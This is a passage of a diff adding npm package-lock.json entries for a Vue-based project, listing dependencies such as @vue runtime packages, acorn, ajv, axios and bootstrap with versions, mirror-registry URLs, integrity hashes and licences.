}, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@vue/language-core": { + "version": "1.8.27", + "resolved": "https://registry.npmmirror.com/@vue/language-core/-/language-core-1.8.27.tgz", + "integrity": "sha512-L8Kc27VdQserNaCUNiSFdDl9LWT24ly8Hpwf1ECy3aFb9m6bDhBGQYOujDm21N7EW3moKIOKEanQwe1q5BK+mA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@volar/language-core": "~1.11.1", + "@volar/source-map": "~1.11.1", + "@vue/compiler-dom": "^3.3.0", + "@vue/shared": "^3.3.0", + "computeds": "^0.0.1", + "minimatch": "^9.0.3", + "muggle-string": "^0.3.1", + "path-browserify": "^1.0.1", + "vue-template-compiler": "^2.7.14" + }, + "peerDependencies": { + "typescript": "*" + }, + "peerDependenciesMeta": { + "typescript": { + "optional": true + } + } + }, + "node_modules/@vue/language-core/node_modules/brace-expansion": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/brace-expansion/-/brace-expansion-2.0.1.tgz", + "integrity": "sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0" + } + }, + "node_modules/@vue/language-core/node_modules/minimatch": { + "version": "9.0.5", + "resolved": "https://registry.npmmirror.com/minimatch/-/minimatch-9.0.5.tgz", + "integrity": "sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==", + "dev": true, + "license": "ISC", + "dependencies": { + "brace-expansion": "^2.0.1" + }, + "engines": { + "node": ">=16 || 14 >=14.17" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + } + }, + "node_modules/@vue/reactivity": { + "version": "3.5.13", + "resolved": "https://registry.npmmirror.com/@vue/reactivity/-/reactivity-3.5.13.tgz", + "integrity": "sha512-NaCwtw8o48B9I6L1zl2p41OHo/2Z4wqYGGIK1Khu5T7yxrn+ATOixn/Udn2m+6kZKB/J7cuT9DbWWhRxqixACg==", + "license": "MIT", + "dependencies": { + "@vue/shared": "3.5.13" + } + }, + "node_modules/@vue/runtime-core": { + "version": "3.5.13", + "resolved": "https://registry.npmmirror.com/@vue/runtime-core/-/runtime-core-3.5.13.tgz", + "integrity": "sha512-Fj4YRQ3Az0WTZw1sFe+QDb0aXCerigEpw418pw1HBUKFtnQHWzwojaukAs2X/c9DQz4MQ4bsXTGlcpGxU/RCIw==", + "license": "MIT", + "dependencies": { + "@vue/reactivity": "3.5.13", + "@vue/shared": "3.5.13" + } + }, + "node_modules/@vue/runtime-dom": { + "version": "3.5.13", + "resolved": "https://registry.npmmirror.com/@vue/runtime-dom/-/runtime-dom-3.5.13.tgz", + "integrity": "sha512-dLaj94s93NYLqjLiyFzVs9X6dWhTdAlEAciC3Moq7gzAc13VJUdCnjjRurNM6uTLFATRHexHCTu/Xp3eW6yoog==", + "license": "MIT", + "dependencies": { + "@vue/reactivity": "3.5.13", + "@vue/runtime-core": "3.5.13", + "@vue/shared": "3.5.13", + "csstype": "^3.1.3" + } + }, + "node_modules/@vue/server-renderer": { + "version": "3.5.13", + "resolved": "https://registry.npmmirror.com/@vue/server-renderer/-/server-renderer-3.5.13.tgz", + "integrity": "sha512-wAi4IRJV/2SAW3htkTlB+dHeRmpTiVIK1OGLWV1yeStVSebSQQOwGwIq0D3ZIoBj2C2qpgz5+vX9iEBkTdk5YA==", + "license": "MIT", + "dependencies": { + "@vue/compiler-ssr": "3.5.13", + "@vue/shared": "3.5.13" + }, + "peerDependencies": { + "vue": "3.5.13" + } + }, + "node_modules/@vue/shared": { + "version": "3.5.13", + "resolved": "https://registry.npmmirror.com/@vue/shared/-/shared-3.5.13.tgz", + "integrity": "sha512-/hnE/qP5ZoGpol0a5mDi45bOd7t3tjYJBjsgCsivow7D48cJeV5l05RD82lPqi7gRiphZM37rnhW1l6ZoCNNnQ==", + "license": "MIT" + }, + "node_modules/@vue/test-utils": { + "version": "2.4.6", + "resolved": "https://registry.npmmirror.com/@vue/test-utils/-/test-utils-2.4.6.tgz", + "integrity": "sha512-FMxEjOpYNYiFe0GkaHsnJPXFHxQ6m4t8vI/ElPGpMWxZKpmRvQ33OIrvRXemy6yha03RxhOlQuy+gZMC3CQSow==", + "dev": true, + "license": "MIT", + "dependencies": { + "js-beautify": "^1.14.9", + "vue-component-type-helpers": "^2.0.0" + } + }, + "node_modules/@vue/tsconfig": { + "version": "0.1.3", + "resolved": "https://registry.npmmirror.com/@vue/tsconfig/-/tsconfig-0.1.3.tgz", + "integrity": "sha512-kQVsh8yyWPvHpb8gIc9l/HIDiiVUy1amynLNpCy8p+FoCiZXCo6fQos5/097MmnNZc9AtseDsCrfkhqCrJ8Olg==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "@types/node": "*" + }, + "peerDependenciesMeta": { + "@types/node": { + "optional": true + } + } + }, + "node_modules/abab": { + "version": "2.0.6", + "resolved": "https://registry.npmmirror.com/abab/-/abab-2.0.6.tgz", + "integrity": "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==", + "deprecated": "Use your platform's native atob() and btoa() methods instead", + "dev": true, + "license": "BSD-3-Clause" + }, + "node_modules/abbrev": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/abbrev/-/abbrev-2.0.0.tgz", + "integrity": "sha512-6/mh1E2u2YgEsCHdY0Yx5oW+61gZU+1vXaoiHHrpKeuRNNgFvS+/jrwHiQhB5apAf5oB7UB7E19ol2R2LKH8hQ==", + "dev": true, + "license": "ISC", + "engines": { + "node": "^14.17.0 || ^16.13.0 || >=18.0.0" + } + }, + "node_modules/abort-controller": { + "version": "3.0.0", + "resolved": "https://registry.npmmirror.com/abort-controller/-/abort-controller-3.0.0.tgz", + "integrity": "sha512-h8lQ8tacZYnR3vNQTgibj+tODHI5/+l06Au2Pcriv/Gmet0eaj4TwWH41sO9wnHDiQsEj19q0drzdWdeAHtweg==", + "dev": true, + "license": "MIT", + "dependencies": { + "event-target-shim": "^5.0.0" + }, + "engines": { + "node": ">=6.5" + } + }, + "node_modules/acorn": { + "version": "8.14.1", + "resolved": "https://registry.npmmirror.com/acorn/-/acorn-8.14.1.tgz", + "integrity": "sha512-OvQ/2pUDKmgfCg++xsTX1wGxfTaszcHVcTctW4UJB4hibJx2HXxxO5UmVgyjMa+ZDsiaf5wWLXYpRWMmBI0QHg==", + "dev": true, + "license": "MIT", + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-globals": { + "version": "7.0.1", + "resolved": "https://registry.npmmirror.com/acorn-globals/-/acorn-globals-7.0.1.tgz", + "integrity": "sha512-umOSDSDrfHbTNPuNpC2NSnnA3LUrqpevPb4T9jRx4MagXNS0rs+gwiTcAvqCRmsD6utzsrzNt+ebm00SNWiC3Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "acorn": "^8.1.0", + "acorn-walk": "^8.0.2" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmmirror.com/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "dev": true, + "license": "MIT", + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/acorn-walk": { + "version": "8.3.4", + "resolved": "https://registry.npmmirror.com/acorn-walk/-/acorn-walk-8.3.4.tgz", + "integrity": "sha512-ueEepnujpqee2o5aIYnvHU6C0A42MNdsIDeqy5BydrkuC5R1ZuUFnm27EeFJGoEHJQgn3uleRvmTXaJgfXbt4g==", + "dev": true, + "license": "MIT", + "dependencies": { + "acorn": "^8.11.0" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmmirror.com/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/aggregate-error": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/aggregate-error/-/aggregate-error-3.1.0.tgz", + "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", + "dev": true, + "license": "MIT", + "dependencies": { + "clean-stack": "^2.0.0", + "indent-string": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmmirror.com/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dev": true, + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ansi-colors": { + "version": "4.1.3", + "resolved": "https://registry.npmmirror.com/ansi-colors/-/ansi-colors-4.1.3.tgz", + "integrity": "sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/ansi-escapes": { + "version": "4.3.2", + "resolved": "https://registry.npmmirror.com/ansi-escapes/-/ansi-escapes-4.3.2.tgz", + "integrity": "sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "type-fest": "^0.21.3" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ansi-escapes/node_modules/type-fest": { + "version": "0.21.3", + "resolved": "https://registry.npmmirror.com/type-fest/-/type-fest-0.21.3.tgz", + "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w==", + "dev": true, + "license": "(MIT OR CC0-1.0)", + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmmirror.com/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmmirror.com/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/arch": { + "version": "2.2.0", + "resolved": "https://registry.npmmirror.com/arch/-/arch-2.2.0.tgz", + "integrity": "sha512-Of/R0wqp83cgHozfIYLbBMnej79U/SVGOOyuB3VVFv1NRM/PSFMK12x9KVtiYzJqmnU5WR2qp0Z5rHb7sWGnFQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/archiver": { + "version": "7.0.1", + "resolved": "https://registry.npmmirror.com/archiver/-/archiver-7.0.1.tgz", + "integrity": "sha512-ZcbTaIqJOfCc03QwD468Unz/5Ir8ATtvAHsK+FdXbDIbGfihqh9mrvdcYunQzqn4HrvWWaFyaxJhGZagaJJpPQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "archiver-utils": "^5.0.2", + "async": "^3.2.4", + "buffer-crc32": "^1.0.0", + "readable-stream": "^4.0.0", + "readdir-glob": "^1.1.2", + "tar-stream": "^3.0.0", + "zip-stream": "^6.0.1" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/archiver-utils": { + "version": "5.0.2", + "resolved": "https://registry.npmmirror.com/archiver-utils/-/archiver-utils-5.0.2.tgz", + "integrity": "sha512-wuLJMmIBQYCsGZgYLTy5FIB2pF6Lfb6cXMSF8Qywwk3t20zWnAi7zLcQFdKQmIB8wyZpY5ER38x08GbwtR2cLA==", + "dev": true, + "license": "MIT", + "dependencies": { + "glob": "^10.0.0", + "graceful-fs": "^4.2.0", + "is-stream": "^2.0.1", + "lazystream": "^1.0.0", + "lodash": "^4.17.15", + "normalize-path": "^3.0.0", + "readable-stream": "^4.0.0" + }, + "engines": { + "node": ">= 14" + } + }, + "node_modules/arg": { + "version": "5.0.2", + "resolved": "https://registry.npmmirror.com/arg/-/arg-5.0.2.tgz", + "integrity": "sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==", + "dev": true, + "license": "MIT" + }, + "node_modules/argparse": { + "version": "2.0.1", + "resolved": "https://registry.npmmirror.com/argparse/-/argparse-2.0.1.tgz", + "integrity": "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==", + "dev": true, + "license": "Python-2.0" + }, + "node_modules/array-buffer-byte-length": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/array-buffer-byte-length/-/array-buffer-byte-length-1.0.2.tgz", + "integrity": "sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bound": "^1.0.3", + "is-array-buffer": "^3.0.5" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/array-union": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/array-union/-/array-union-2.1.0.tgz", + "integrity": "sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/arraybuffer.prototype.slice": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.4.tgz", + "integrity": "sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "array-buffer-byte-length": "^1.0.1", + "call-bind": "^1.0.8", + "define-properties": "^1.2.1", + "es-abstract": "^1.23.5", + "es-errors": "^1.3.0", + "get-intrinsic": "^1.2.6", + "is-array-buffer": "^3.0.4" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/asn1": { + "version": "0.2.6", + "resolved": "https://registry.npmmirror.com/asn1/-/asn1-0.2.6.tgz", + "integrity": "sha512-ix/FxPn0MDjeyJ7i/yoHGFt/EX6LyNbxSEhPPXODPL+KB0VPk86UYfL0lMdy+KCnv+fmvIzySwaK5COwqVbWTQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "safer-buffer": "~2.1.0" + } + }, + "node_modules/assert-plus": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/assert-plus/-/assert-plus-1.0.0.tgz", + "integrity": "sha512-NfJ4UzBCcQGLDlQq7nHxH+tv3kyZ0hHQqF5BO6J7tNJeP5do1llPr8dZ8zHonfhAu0PHAdMkSo+8o0wxg9lZWw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.8" + } + }, + "node_modules/assertion-error": { + "version": "1.1.0", + "resolved": "https://registry.npmmirror.com/assertion-error/-/assertion-error-1.1.0.tgz", + "integrity": "sha512-jgsaNduz+ndvGyFt3uSuWqvy4lCnIJiovtouQN5JZHOKCS2QuhEdbcQHFhVksz2N2U9hXJo8odG7ETyWlEeuDw==", + "dev": true, + "license": "MIT", + "engines": { + "node": "*" + } + }, + "node_modules/astral-regex": { + "version": "2.0.0", + "resolved": "https://registry.npmmirror.com/astral-regex/-/astral-regex-2.0.0.tgz", + "integrity": "sha512-Z7tMw1ytTXt5jqMcOP+OQteU1VuNK9Y02uuJtKQ1Sv69jXQKKg5cibLwGJow8yzZP+eAc18EmLGPal0bp36rvQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/async": { + "version": "3.2.6", + "resolved": "https://registry.npmmirror.com/async/-/async-3.2.6.tgz", + "integrity": "sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==", + "dev": true, + "license": "MIT" + }, + "node_modules/async-function": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/async-function/-/async-function-1.0.0.tgz", + "integrity": "sha512-hsU18Ae8CDTR6Kgu9DYf0EbCr/a5iGL0rytQDobUcdpYOKokk8LEjVphnXkDkgpi0wYVsqrXuP0bZxJaTqdgoA==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/asynckit": { + "version": "0.4.0", + "resolved": "https://registry.npmmirror.com/asynckit/-/asynckit-0.4.0.tgz", + "integrity": "sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==", + "license": "MIT" + }, + "node_modules/at-least-node": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/at-least-node/-/at-least-node-1.0.0.tgz", + "integrity": "sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==", + "dev": true, + "license": "ISC", + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/available-typed-arrays": { + "version": "1.0.7", + "resolved": "https://registry.npmmirror.com/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz", + "integrity": "sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "possible-typed-array-names": "^1.0.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/aws-sign2": { + "version": "0.7.0", + "resolved": "https://registry.npmmirror.com/aws-sign2/-/aws-sign2-0.7.0.tgz", + "integrity": "sha512-08kcGqnYf/YmjoRhfxyu+CLxBjUtHLXLXX/vUfx9l2LYzG3c1m61nrpyFUZI6zeS+Li/wWMMidD9KgrqtGq3mA==", + "dev": true, + "license": "Apache-2.0", + "engines": { + "node": "*" + } + }, + "node_modules/aws4": { + "version": "1.13.2", + "resolved": "https://registry.npmmirror.com/aws4/-/aws4-1.13.2.tgz", + "integrity": "sha512-lHe62zvbTB5eEABUVi/AwVh0ZKY9rMMDhmm+eeyuuUQbQ3+J+fONVQOZyj+DdrvD4BY33uYniyRJ4UJIaSKAfw==", + "dev": true, + "license": "MIT" + }, + "node_modules/axios": { + "version": "1.8.3", + "resolved": "https://registry.npmmirror.com/axios/-/axios-1.8.3.tgz", + "integrity": "sha512-iP4DebzoNlP/YN2dpwCgb8zoCmhtkajzS48JvwmkSkXvPI3DHc7m+XYL5tGnSlJtR6nImXZmdCuN5aP8dh1d8A==", + "license": "MIT", + "dependencies": { + "follow-redirects": "^1.15.6", + "form-data": "^4.0.0", + "proxy-from-env": "^1.1.0" + } + }, + "node_modules/b4a": { + "version": "1.6.7", + "resolved": "https://registry.npmmirror.com/b4a/-/b4a-1.6.7.tgz", + "integrity": "sha512-OnAYlL5b7LEkALw87fUVafQw5rVR9RjwGd4KUwNQ6DrrNmaVaUCgLipfVlzrPQ4tWOR9P0IXGNOx50jYCCdSJg==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/balanced-match": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/balanced-match/-/balanced-match-1.0.2.tgz", + "integrity": "sha512-3oSeUO0TMV67hN1AmbXsK4yaqU7tjiHlbxRDZOpH0KW9+CeX4bRAaX0Anxt0tx2MrpRpWwQaPwIlISEJhYU5Pw==", + "dev": true, + "license": "MIT" + }, + "node_modules/bare-events": { + "version": "2.5.4", + "resolved": "https://registry.npmmirror.com/bare-events/-/bare-events-2.5.4.tgz", + "integrity": "sha512-+gFfDkR8pj4/TrWCGUGWmJIkBwuxPS5F+a5yWjOHQt2hHvNZd5YLzadjmDUtFmMM4y429bnKLa8bYBMHcYdnQA==", + "dev": true, + "license": "Apache-2.0", + "optional": true + }, + "node_modules/base64-js": { + "version": "1.5.1", + "resolved": "https://registry.npmmirror.com/base64-js/-/base64-js-1.5.1.tgz", + "integrity": "sha512-AKpaYlHn8t4SVbOHCy+b5+KKgvR4vrsD8vbvrbiQJps7fKDTkjkDry6ji0rUJjC0kzbNePLwzxq8iypo41qeWA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT" + }, + "node_modules/bcrypt-pbkdf": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/bcrypt-pbkdf/-/bcrypt-pbkdf-1.0.2.tgz", + "integrity": "sha512-qeFIXtP4MSoi6NLqO12WfqARWWuCKi2Rn/9hJLEmtB5yTNr9DqFWkJRCf2qShWzPeAMRnOgCrq0sg/KLv5ES9w==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "tweetnacl": "^0.14.3" + } + }, + "node_modules/bezier-easing": { + "version": "2.1.0", + "resolved": "https://registry.npmmirror.com/bezier-easing/-/bezier-easing-2.1.0.tgz", + "integrity": "sha512-gbIqZ/eslnUFC1tjEvtz0sgx+xTK20wDnYMIA27VA04R7w6xxXQPZDbibjA9DTWZRA2CXtwHykkVzlCaAJAZig==", + "license": "MIT" + }, + "node_modules/blob-util": { + "version": "2.0.2", + "resolved": "https://registry.npmmirror.com/blob-util/-/blob-util-2.0.2.tgz", + "integrity": "sha512-T7JQa+zsXXEa6/8ZhHcQEW1UFfVM49Ts65uBkFL6fz2QmrElqmbajIDJvuA0tEhRe5eIjpV9ZF+0RfZR9voJFQ==", + "dev": true, + "license": "Apache-2.0" + }, + "node_modules/bluebird": { + "version": "3.7.2", + "resolved": "https://registry.npmmirror.com/bluebird/-/bluebird-3.7.2.tgz", + "integrity": "sha512-XpNj6GDQzdfW+r2Wnn7xiSAd7TM3jzkxGXBGTtWKuSXv1xUV+azxAm8jdWZN06QTQk+2N2XB9jRDkvbmQmcRtg==", + "dev": true, + "license": "MIT" + }, + "node_modules/boolbase": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/boolbase/-/boolbase-1.0.0.tgz", + "integrity": "sha512-JZOSA7Mo9sNGB8+UjSgzdLtokWAky1zbztM3WRLCbZ70/3cTANmQmOdR7y2g+J0e2WXywy1yS468tY+IruqEww==", + "dev": true, + "license": "ISC" + }, + "node_modules/bootstrap": { + "version": "5.3.3", + "resolved": "https://registry.npmmirror.com/bootstrap/-/bootstrap-5.3.3.tgz", + "integrity": "sha512-8HLCdWgyoMguSO9o+aH+iuZ+aht+mzW0u3HIMzVu7Srrpv7EBBxTnrFlSCskwdY1+EOFQSm7uMJhNQHkdPcmjg==", + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/twbs" + }, + { + "type": "opencollective", + "url": "https://opencollective.com/bootstrap" + } + ], + "license": "MIT", + "peerDependencies": { + "@popperjs/core": "^2.11.8" + } + }, + "node_modules/brace-expansion": { + "version": "1.1.11", + "resolved": "https://registry.npmmirror.com/brace-expansion/-/brace-expansion-1.1.11.tgz", + "integrity": "sha512-iCuPHDFgrHX7H2vEI/5xpz07zSHB00TpugqhmYtVmMO6518mCuRMoOYFldEBl0g187ufozdaHgWKcYFb61qGiA==", + "dev": true, + "license": "MIT", + "dependencies": { + "balanced-match": "^1.0.0", + "concat-map": "0.0.1" + } + }, + "node_modules/braces": { + "version": "3.0.3", + "resolved": "https://registry.npmmirror.com/braces/-/braces-3.0.3.tgz", + "integrity": "sha512-yQbXgO/OSZVD2IsiLlro+7Hf6Q18EJrKSEsdoMzKePKXct3gvD8oLcOQdIzGupr5Fj+EDe8gO/lxc1BzfMpxvA==", + "dev": true, + "license": "MIT", + "dependencies": { + "fill-range": "^7.1.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/buffer": { + "version": "5.7.1", + "resolved": "https://registry.npmmirror.com/buffer/-/buffer-5.7.1.tgz", + "integrity": "sha512-EHcyIPBQ4BSGlvjB16k5KgAJ27CIsHY/2JBmCRReo48y9rQ3MaUzWX3KVlBa4U7MyX02HdVj0K7C3WaB3ju7FQ==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "license": "MIT", + "dependencies": { + "base64-js": "^1.3.1", + "ieee754": "^1.1.13" + } + }, + "node_modules/buffer-crc32": { + "version": "1.0.0", + "resolved": "https://registry.npmmirror.com/buffer-crc32/-/buffer-crc32-1.0.0.tgz", + "integrity": "sha512-Db1SbgBS/fg/392AblrMJk97KggmvYhr4pB5ZIMTWtaivCPMWLkmb7m21cJvpvgK+J3nsU2CmmixNBZx4vFj/w==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=8.0.0" + } + }, + "node_modules/cachedir": { + "version": "2.4.0", + "resolved": "https://registry.npmmirror.com/cachedir/-/cachedir-2.4.0.tgz", + "integrity": "sha512-9EtFOZR8g22CL7BWjJ9BUx1+A/djkofnyW3aOXZORNW2kxoUpx2h+uN2cOqwPmFhnpVmxg+KW2OjOSgChTEvsQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/call-bind": { + "version": "1.0.8", + "resolved": "https://registry.npmmirror.com/call-bind/-/call-bind-1.0.8.tgz", + "integrity": "sha512-oKlSFMcMwpUg2ednkhQ454wfWiU/ul3CkJe/PEHcTKuiX6RpbehUiFMXu13HalGZxfUwCQzZG747YXBn1im9ww==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.0", + "es-define-property": "^1.0.0", + "get-intrinsic": "^1.2.4", + "set-function-length": "^1.2.2" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/call-bind-apply-helpers": { + "version": "1.0.2", + "resolved": "https://registry.npmmirror.com/call-bind-apply-helpers/-/call-bind-apply-helpers-1.0.2.tgz", + "integrity": "sha512-Sp1ablJ0ivDkSzjcaJdxEunN5/XvksFJ2sMBFfq6x0ryhQV/2b/KwFe21cMpmHtPOSij8K99/wSfoEuTObmuMQ==", + "license": "MIT", + "dependencies": { + "es-errors": "^1.3.0", + "function-bind": "^1.1.2" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/call-bound": { + "version": "1.0.4", + "resolved": "https://registry.npmmirror.com/call-bound/-/call-bound-1.0.4.tgz", + "integrity": "sha512-+ys997U96po4Kx/ABpBCqhA9EuxJaQWDQg7295H4hBphv3IZg0boBKuwYpt4YXp6MZ5AmZQnU/tyMTlRpaSejg==", + "dev": true, + "license": "MIT", + "dependencies": { + "call-bind-apply-helpers": "^1.0.2", + "get-intrinsic": "^1.3.0" + }, + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/callsites": { + "version": "3.1.0", + "resolved": "https://registry.npmmirror.com/callsites/-/callsites-3.1.0.tgz", + "integrity": "sha512-P8BjAsXvZS+VIDUI11hHCQEv74YT67YUi5JJFNWIqL235sBmjX4+qx9Muvls5ivyNENctx46xQLQ3aTuE7ssaQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=6" + } + }, + "node_modules/caseless": { + "version": "0.12.0", + "resolved": 